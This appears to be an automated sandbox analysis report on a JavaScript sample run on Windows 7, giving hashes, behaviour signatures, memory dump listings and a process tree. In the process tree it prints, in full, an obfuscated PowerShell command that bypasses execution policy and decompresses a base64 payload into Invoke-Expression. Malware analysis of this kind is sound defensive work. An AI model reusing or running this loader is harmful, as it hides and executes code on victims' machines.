Analysis

  • max time kernel
    71s
  • max time network
    31s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    23-01-2023 13:08

General

  • Target

    1.js

  • Size

    40KB

  • MD5

    f297762186cba5a11c2d09c66b61ae97

  • SHA1

    5a38dcaac81399d9d6c2bbbac0cc601e4a6950d9

  • SHA256

    ef8acdcee4cf21c8a88af63119596dfe7b4971b53d4e96b0a05500c7ae50b1d3

  • SHA512

    b6ff2066d8d091f9b64b60b9d48a604ebd6dc038877aa6764d39db7347d5173debe4ab46ddf94d09d93777bb3d696f5c7a2b33469ac2a84b83fdffed27cadc32

  • SSDEEP

    384:4EZdlKCY9L+gGpL0trwZxyHa9q0w7cft19UQ1+e9d0dpcbg:42ladGpLgwKGRF1eBcbg

Score
1/10

Malware Config

Signatures

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\1.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2032
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exECutionpO byPasS "(neW-oBJeCT Io.CoMPrEsSIon.DEfLaTesTrEam([SYstEM.iO.MemOryStREAM] [sYStEm.CONvErT]::fRombASe64sTrING( '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') ,[iO.cOMpRESsIoN.COmpRESsioNmodE]::dEcoMPReSS)| %{neW-oBJeCT SySTEM.Io.STREAmREADER( $_ ,[text.enCoDing]::asCIi)} | % {$_.reADtOeNd()} ) | . ( $shelLID[1]+$sHeLliD[13]+'x')"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1636
      • C:\Windows\system32\whoami.exe
        "C:\Windows\system32\whoami.exe"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:268

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/268-61-0x0000000000000000-mapping.dmp
  • memory/1636-55-0x0000000000000000-mapping.dmp
  • memory/1636-57-0x000007FEF3350000-0x000007FEF3D73000-memory.dmp
    Filesize

    10.1MB

  • memory/1636-59-0x00000000029E4000-0x00000000029E7000-memory.dmp
    Filesize

    12KB

  • memory/1636-58-0x000007FEF27F0000-0x000007FEF334D000-memory.dmp
    Filesize

    11.4MB

  • memory/1636-60-0x000000001B800000-0x000000001BAFF000-memory.dmp
    Filesize

    3.0MB

  • memory/1636-62-0x00000000029E4000-0x00000000029E7000-memory.dmp
    Filesize

    12KB

  • memory/1636-63-0x00000000029EB000-0x0000000002A0A000-memory.dmp
    Filesize

    124KB

  • memory/2032-54-0x000007FEFB7C1000-0x000007FEFB7C3000-memory.dmp
    Filesize

    8KB